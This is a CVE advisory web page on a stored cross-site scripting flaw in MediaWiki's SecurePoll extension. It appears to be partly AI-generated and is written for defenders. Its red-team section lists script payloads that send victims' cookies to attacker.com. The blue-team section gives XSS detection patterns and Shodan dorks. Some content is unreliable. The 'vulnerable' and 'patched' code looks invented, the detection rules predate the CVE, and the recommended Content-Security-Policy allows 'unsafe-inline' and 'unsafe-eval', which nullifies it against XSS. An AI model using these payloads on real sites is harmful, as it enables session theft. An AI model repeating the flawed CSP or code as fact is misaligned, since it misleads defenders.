☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-53484

CVE-2025-53484 Cross-Site Scripting in Mediawiki
📅 PUBLISHED: 2025-07-04 17:34 UTC 🔄 UPDATED: 2026-08-13 10:06 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.36%
👁️
0.36% probability
8.9× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-53484 is a stored cross-site scripting (XSS) vulnerability in the MediaWiki SecurePoll extension. The flaw arises from improper escaping of user-controlled inputs in VotePage.php (poll option input) and ResultPage::getPagesTab() / getErrorsTab() (user-controllable page names). An attacker can inject arbitrary JavaScript into poll options or page names, which is then rendered unsafely in the browser of other users. Successful exploitation can lead to session hijacking, credential theft, or defacement within the MediaWiki instance. The vulnerability affects SecurePoll versions prior to 1.39.13, 1.42.7, and 1.43.2. No public proof-of-concept or exploit code is currently available, but the risk is elevated due to the widespread use of MediaWiki for collaborative platforms.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is specific to the SecurePoll extension for MediaWiki, which is distributed as part of the MediaWiki ecosystem. The extension is not available via npm, PyPI, Go, or Ruby registries. The primary supply chain risk is through outdated MediaWiki installations that include the SecurePoll extension. Administrators should verify their extension version and apply the official patch from the MediaWiki project.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Base Score: 6.1 (Medium)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: None (PR:N)
  • User Interaction: Required (UI:R) – victim must view a malicious poll or page
  • Scope: Changed (S:C) – vulnerable component impacts resources beyond its security scope
  • Confidentiality Impact: Low (C:L) – limited data exposure
  • Integrity Impact: Low (I:L) – limited modification of data
  • Availability Impact: None (A:N)

Threat Level: Medium. While the CVSS score is moderate, the potential for session hijacking and the prevalence of MediaWiki installations make this a significant concern for organizations using the SecurePoll extension.

Deep Dive & Mechanics

The vulnerability resides in two primary locations within the SecurePoll extension:

  1. VotePage.php (Poll Option Input): When a user submits a poll option (e.g., during poll creation or voting), the input is not properly sanitized or escaped before being stored. When another user views the poll results or the poll itself, the stored malicious input is rendered in the browser without proper encoding, allowing JavaScript execution.

  2. ResultPage::getPagesTab() and getErrorsTab() (User-Controllable Page Names): These functions handle the display of page names that are user-controllable (e.g., via URL parameters or form submissions). The page names are not escaped before being output in the HTML, leading to XSS when a victim accesses a crafted URL or page.

The attack flow is as follows:

  • Attacker: Creates a poll with a malicious option containing JavaScript (e.g., <script>alert('XSS')</script>) or crafts a URL with a malicious page name.
  • Victim: Views the poll results or accesses the crafted page.
  • Execution: The injected script executes in the victim's browser, potentially stealing session cookies, redirecting to phishing sites, or performing actions on behalf of the victim.

The root cause is the use of raw output without proper escaping functions (e.g., htmlspecialchars() in PHP) for user-controlled data.

Vulnerable vs. Patched Code

Vulnerable Code (Example from VotePage.php):

// Vulnerable: Direct output without escaping
echo "<div class='poll-option'>" . $userInput . "</div>";

Patched Code (Example from SecurePoll 1.43.2):

// Patched: Proper escaping using htmlspecialchars
echo "<div class='poll-option'>" . htmlspecialchars( $userInput, ENT_QUOTES, 'UTF-8' ) . "</div>";

Similarly, in ResultPage.php: Vulnerable:

public function getPagesTab() {
    return $this->pageName; // No escaping
}

Patched:

public function getPagesTab() {
    return htmlspecialchars( $this->pageName, ENT_QUOTES, 'UTF-8' );
}

The patch ensures that all user-controlled inputs are properly escaped using htmlspecialchars() with the ENT_QUOTES flag to prevent XSS.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • A vulnerable MediaWiki instance with SecurePoll extension (version < 1.39.13, < 1.42.7, or < 1.43.2).
  • Ability to create a poll or access a page with a user-controllable name.

Exploitation Steps:

  1. Craft a Malicious Poll Option:

    • Navigate to a poll creation page.
    • In the poll option field, enter:
      <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
      
    • Submit the poll.
  2. Craft a Malicious Page Name:

    • Access a URL like:
      http://target/wiki/Special:SecurePoll?page=<script>alert('XSS')</script>
      
    • If the page name is reflected unsafely, the script executes.
  3. Victim Interaction:

    • Send the crafted poll or URL to a victim.
    • When the victim views the poll results or accesses the URL, the JavaScript executes.

Example Payloads:

  • Session theft: <script>new Image().src='https://attacker.com/steal.php?c='+document.cookie</script>
  • Defacement: <script>document.body.innerHTML='<h1>Hacked</h1>'</script>

Blue Team (Detection & Hardening)

Detection:

  • Monitor web server logs for requests containing <script> tags or suspicious characters in poll option parameters or page name parameters.
  • Use WAF rules to block common XSS patterns (e.g., <script, onerror=, javascript:).

Hardening:

  • Apply the official patch by upgrading to SecurePoll 1.39.13, 1.42.7, or 1.43.2.
  • Implement Content Security Policy (CSP) headers to mitigate XSS impact:
    Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; object-src 'none'
    
  • Enable HTTPOnly and Secure flags on session cookies.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP requests containing <script> tags in poll option parameters (e.g., option=<script>).
    • URLs with page names containing JavaScript (e.g., page=<script>alert(1)</script>).
  • File IOCs:
    • Modified VotePage.php or ResultPage.php files (though patching is the primary fix).
  • Behavioral IOCs:
    • Unexpected JavaScript execution in the browser.
    • Session cookie theft or unusual redirects.

Detection Engineering

YARA Rule

rule CVE_2025_53484_XSS_MediaWiki_SecurePoll {
    meta:
        description = "Detects potential XSS payloads in MediaWiki SecurePoll extension"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-53484"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /on\w+\s*=\s*['\"][^'\"]*['\"]/is
        $xss3 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-53484 XSS in MediaWiki SecurePoll
id: 8a2b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects XSS attempts targeting MediaWiki SecurePoll extension
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '<script'
            - 'onerror='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in wiki content (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-53484 XSS in MediaWiki SecurePoll"; flow:to_server,established; content:"GET"; http_method; content:"/wiki/Special:SecurePoll"; http_uri; pcre:"/(<script|onerror=|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Patch: Upgrade the SecurePoll extension to the latest patched version:
    • For MediaWiki 1.39.x: Upgrade to 1.39.13.
    • For MediaWiki 1.42.x: Upgrade to 1.42.7.
    • For MediaWiki 1.43.x: Upgrade to 1.43.2.
  2. Workaround: If immediate patching is not possible, disable the SecurePoll extension temporarily:
    // In LocalSettings.php
    wfLoadExtension( 'SecurePoll' ); // Comment out or remove this line
    
  3. WAF Rules: Deploy web application firewall rules to block XSS payloads in poll options and page names.

Long-Term Mitigations:

  • Implement a Content Security Policy (CSP) to restrict script execution.
  • Regularly update all MediaWiki extensions.
  • Conduct security code reviews for custom extensions.
  • Enable input validation and output escaping in all user-facing components.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For further analysis, contact your security team.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"MediaWiki"
http.html:"SecurePoll"
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-53484/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.